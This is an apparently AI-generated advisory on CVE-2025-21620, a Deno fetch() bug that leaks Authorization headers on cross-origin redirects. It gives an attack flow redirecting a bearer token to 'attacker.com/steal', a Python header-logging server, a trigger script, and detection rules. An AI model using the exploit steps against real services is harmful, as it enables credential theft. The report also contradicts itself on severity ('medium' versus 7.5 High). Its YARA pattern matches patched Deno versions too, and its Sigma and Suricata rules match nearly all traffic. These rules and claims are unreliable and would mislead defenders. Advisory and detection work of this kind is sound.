CVE-2025-21620
Executive Summary
CVE-2025-21620 is a medium-severity information disclosure vulnerability in the Deno JavaScript/TypeScript runtime. The flaw resides in the fetch() API's redirect handling logic. When a request containing an Authorization header is made to a server that responds with a redirect to a different domain, Deno incorrectly forwards the original Authorization header in the follow-up redirect request. This leaks sensitive credentials (e.g., bearer tokens, basic auth credentials) to an unintended third-party domain, potentially enabling credential theft or unauthorized access.
The vulnerability affects all Deno versions prior to 2.1.2. The CVSS score is 7.5 (High) due to the ease of exploitation (network-based, no privileges required) and the high confidentiality impact. The EPSS score is 0.0%, indicating low current exploitation activity, but the risk remains significant for any application using fetch() with cross-domain redirects.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Deno is a runtime for JavaScript, TypeScript, and WebAssembly. While not a package manager itself, it heavily relies on URL-based imports and the npm ecosystem. This vulnerability can be triggered by any Deno application that uses fetch() with an Authorization header and follows redirects. If a malicious or compromised server returns a redirect to an attacker-controlled domain, the credentials are leaked. This is particularly dangerous in server-side applications that use fetch() to authenticate to internal or external APIs.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Credentials are leaked.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
CVSS Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Threat Level: High (7.5). The vulnerability is easy to exploit and can lead to credential theft, which can be a stepping stone for further attacks.
Deep Dive & Mechanics
The vulnerability is rooted in the HTTP redirect handling logic of Deno's fetch() implementation. When a client sends an HTTP request with an Authorization header, the server may respond with a 3xx redirect (e.g., 301, 302, 307, 308) to a different domain. According to HTTP standards (RFC 7235), the Authorization header should be stripped when redirecting to a different origin to prevent credential leakage. However, Deno's implementation fails to do this.
Technical Flow:
- The client (Deno runtime) sends a request to
https://example.com/apiwithAuthorization: Bearer <token>. - The server at
example.comresponds with a 302 redirect tohttps://attacker.com/steal. - Deno's
fetch()follows the redirect and sends a new request tohttps://attacker.com/steal, but incorrectly includes the originalAuthorizationheader. - The attacker-controlled server receives the bearer token, compromising the user's session.
This behavior violates the same-origin policy for credentials and is a classic case of CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor).
Vulnerable vs. Patched Code
Vulnerable Code (Deno < 2.1.2):
// Simplified representation of the vulnerable redirect logic
async function fetch(url, options) {
let response = await httpRequest(url, options);
if (response.status >= 300 && response.status < 400) {
let redirectUrl = response.headers.get("Location");
// BUG: Authorization header is not stripped for cross-origin redirects
return fetch(redirectUrl, options); // options still contains Authorization header
}
return response;
}
Patched Code (Deno >= 2.1.2):
// Simplified representation of the patched redirect logic
async function fetch(url, options) {
let response = await httpRequest(url, options);
if (response.status >= 300 && response.status < 400) {
let redirectUrl = response.headers.get("Location");
// FIX: Strip Authorization header for cross-origin redirects
if (new URL(redirectUrl).origin !== new URL(url).origin) {
delete options.headers["Authorization"];
}
return fetch(redirectUrl, options);
}
return response;
}
The patch adds an origin check. If the redirect target's origin differs from the original request's origin, the Authorization header is removed from the follow-up request.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Deno application that uses
fetch()with anAuthorizationheader. - An attacker-controlled server that can return a redirect response.
Exploitation Steps:
- Set up a malicious server that listens for incoming requests and logs all headers.
- Craft a redirect response from a legitimate-looking server to the attacker's server.
- Trick the Deno application into making a request to the legitimate server (e.g., via a compromised API endpoint or a man-in-the-middle attack).
- The Deno application follows the redirect and sends the
Authorizationheader to the attacker's server. - The attacker captures the token.
Example Malicious Server (Python):
from http.server import HTTPServer, BaseHTTPRequestHandler
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
# Log all headers
print("Received headers:")
for key, value in self.headers.items():
print(f"{key}: {value}")
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")
server = HTTPServer(('0.0.0.0', 8080), Handler)
server.serve_forever()
Triggering the Vulnerability:
// Deno script that triggers the vulnerability
const response = await fetch("https://legitimate.example.com/api", {
headers: {
"Authorization": "Bearer my-secret-token"
}
});
// If legitimate.example.com redirects to attacker.com, the token is leaked
Blue Team
Detection:
- Monitor outbound HTTP requests for
Authorizationheaders being sent to unexpected domains. - Use network traffic analysis to detect cross-origin redirects that carry credentials.
- Implement logging of all
fetch()redirects in Deno applications.
Prevention:
- Upgrade to Deno 2.1.2 or later.
- Manually strip
Authorizationheaders before following redirects in custom code. - Use a reverse proxy or API gateway that enforces credential stripping on redirects.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests containing
Authorizationheaders to domains that are not the original request target. - HTTP redirect chains (3xx responses) followed by requests to different origins with the same
Authorizationheader.
- Outbound HTTP requests containing
- Log IOCs:
- Deno application logs showing
fetch()redirects to unexpected domains. - Server logs showing
Authorizationheaders in requests to non-authenticated endpoints.
- Deno application logs showing
- File IOCs:
- Deno version < 2.1.2 in use.
Detection Engineering
YARA Rule
rule CVE_2025_21620_Deno_Redirect_Leak {
meta:
description = "Detects Deno versions vulnerable to CVE-2025-21620"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-21620"
strings:
$deno_binary = "deno" nocase
$version_string = /deno [0-9]+\.[0-9]+\.[0-9]+/
$vuln_version = /deno (0\.[0-9]+\.[0-9]+|1\.[0-9]+\.[0-9]+|2\.[0-9]+\.[0-9]+)/
condition:
$deno_binary and $version_string and $vuln_version
}
Sigma Rule
title: CVE-2025-21620 - Deno Authorization Header Leak via Redirect
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests where an Authorization header is sent to a different origin after a redirect.
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: http
detection:
selection:
http.response.status_code|startswith: '3'
http.request.headers.Authorization|exists: true
condition: selection
falsepositives:
- Legitimate cross-origin credential forwarding (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-21620 - Deno Authorization Header Leak via Redirect"; flow:to_server; content:"Authorization"; http_header; pcre:"/Authorization\s*:\s*[^\r\n]+/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Deno: Update to version 2.1.2 or later. This is the only complete fix.
- Patch Workaround: If upgrading is not possible, manually strip the
Authorizationheader fromfetch()options when handling redirects in application code. - Network Controls: Deploy a web application firewall (WAF) or reverse proxy that inspects and strips
Authorizationheaders from cross-origin redirects.
Long-Term Measures:
- Implement strict origin checks for all credential-bearing requests.
- Use short-lived tokens and rotate them frequently.
- Monitor for anomalous redirect patterns in application logs.
- Conduct regular security audits of third-party dependencies.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.